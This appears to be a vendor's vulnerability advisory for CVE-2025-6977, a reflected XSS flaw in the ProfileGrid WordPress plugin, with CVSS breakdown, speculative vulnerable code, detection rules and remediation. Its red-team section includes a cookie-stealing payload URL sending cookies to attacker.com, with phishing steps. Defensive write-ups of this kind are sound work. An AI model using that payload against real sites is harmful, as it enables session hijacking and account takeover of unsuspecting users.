CVE-2025-6977
Executive Summary
CVE-2025-6977 is a reflected cross-site scripting (XSS) vulnerability in the ProfileGrid – User Profiles, Groups and Communities plugin for WordPress, affecting all versions up to and including 5.9.5.4. The flaw resides in the pm_get_messenger_notification function, which fails to properly sanitize user-supplied input and escape output before rendering it in the browser. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in WordPress user, executes arbitrary JavaScript in the context of the victim’s session. This can lead to session hijacking, credential theft, or defacement. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk for sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Impact
This vulnerability is specific to the ProfileGrid plugin within the WordPress ecosystem. It does not affect the core WordPress software or server components like Apache or Nginx. The attack vector relies on social engineering to trick a logged-in user into clicking a crafted link, making it a client-side threat that can bypass typical network defenses.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The attack is launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Unauthenticated attacker.
- User Interaction: Required (UI:R) – Victim must click a link.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch increases risk for unpatched installations.
Deep Dive & Mechanics
The vulnerability exists in the pm_get_messenger_notification AJAX handler, which is registered for both authenticated and unauthenticated users. The function retrieves a parameter (likely user_id or a similar identifier) from the request and uses it in a notification message without proper sanitization or escaping. Specifically, the input is reflected back in the response HTML without being encoded, allowing an attacker to inject arbitrary HTML and JavaScript.
Root Cause: Insufficient input sanitization and output escaping in the pm_get_messenger_notification function. The plugin does not use WordPress’s built-in escaping functions like esc_html() or wp_kses_post() on the reflected parameter.
Attack Flow:
- Attacker crafts a URL:
https://target.com/wp-admin/admin-ajax.php?action=pm_get_messenger_notification&user_id=<script>alert('XSS')</script> - Attacker sends the link to a logged-in user via email, social media, or other channels.
- Victim clicks the link while authenticated.
- The AJAX request returns the injected script, which executes in the victim’s browser.
- The script can steal cookies, perform actions on behalf of the user, or redirect to malicious sites.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be similar to:
Vulnerable Code (profilegrid.php or similar):
function pm_get_messenger_notification() {
$user_id = $_GET['user_id'];
// No sanitization or escaping
echo "Notification for user: " . $user_id;
wp_die();
}
add_action('wp_ajax_nopriv_pm_get_messenger_notification', 'pm_get_messenger_notification');
add_action('wp_ajax_pm_get_messenger_notification', 'pm_get_messenger_notification');
Patched Code (hypothetical):
function pm_get_messenger_notification() {
$user_id = intval($_GET['user_id']); // Sanitize to integer
echo "Notification for user: " . esc_html($user_id); // Escape output
wp_die();
}
The patched version would use intval() to ensure the input is numeric and esc_html() to prevent HTML injection.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with ProfileGrid <= 5.9.5.4 installed and activated.
- A logged-in user to target.
Exploit Steps:
- Identify the vulnerable endpoint:
https://target.com/wp-admin/admin-ajax.php?action=pm_get_messenger_notification - Craft a payload to steal cookies:
https://target.com/wp-admin/admin-ajax.php?action=pm_get_messenger_notification&user_id=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script> - URL-encode the payload for reliability:
https://target.com/wp-admin/admin-ajax.php?action=pm_get_messenger_notification&user_id=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link to the victim via phishing email or social engineering.
- Set up a listener on
attacker.com/steal.phpto capture cookies.
Lab Setup:
- Use a local WordPress instance with Docker:
docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress -p 8080:80 -d wordpress - Install ProfileGrid plugin version 5.9.5.4 from the WordPress plugin repository.
- Create a test user and log in.
- Execute the exploit URL in a browser while logged in.
Blue Team (Defender)
Detection:
- Monitor for requests to
/wp-admin/admin-ajax.phpwithaction=pm_get_messenger_notificationand suspicioususer_idparameters containing<script>oronerrortags. - Use web application firewalls (WAF) to block requests with obvious XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Disable the plugin until a patch is released.
- Apply virtual patching via WAF rules.
- Educate users about phishing links.
Indicators of Compromise (IOCs)
- URL Pattern:
/wp-admin/admin-ajax.php?action=pm_get_messenger_notification&user_id=* - Network Traffic: HTTP requests to the above URL with encoded JavaScript in the
user_idparameter. - Log Entries: Access logs showing
admin-ajax.phpwithaction=pm_get_messenger_notificationand non-numericuser_idvalues. - Cookie Theft: Outbound connections to attacker-controlled domains with cookie data in the query string.
Detection Engineering
YARA Rule
rule CVE_2025_6977_ProfileGrid_XSS {
meta:
description = "Detects reflected XSS attempts against ProfileGrid plugin CVE-2025-6977"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-6977"
strings:
$ajax_action = "pm_get_messenger_notification"
$xss_payload1 = /<script[^>]*>/
$xss_payload2 = /onerror\s*=\s*["']/
$xss_payload3 = /onload\s*=\s*["']/
condition:
$ajax_action and any of ($xss_payload*)
}
Sigma Rule
title: Reflected XSS via ProfileGrid pm_get_messenger_notification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against ProfileGrid plugin CVE-2025-6977
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'action=pm_get_messenger_notification'
cs-uri-query|re: '(?i)(<script|onerror|onload|javascript:)'
condition: selection
falsepositives:
- Legitimate use of the function with non-malicious parameters
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-6977 ProfileGrid Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pm_get_messenger_notification"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: If the plugin is not critical, deactivate and delete it until a patch is available.
- Virtual Patching: Use a WAF to block requests to
admin-ajax.phpwithaction=pm_get_messenger_notificationand suspicious parameters. - User Education: Warn users not to click suspicious links, especially those containing
admin-ajax.php.
Long-Term Fix:
- Monitor the ProfileGrid plugin page for updates. Apply the patch as soon as it is released.
- Implement a Content Security Policy (CSP) to mitigate XSS impact:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Regularly audit WordPress plugins for vulnerabilities.
Workaround:
- Add a custom filter to sanitize the
user_idparameter:add_filter('pm_get_messenger_notification_user_id', 'intval');
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.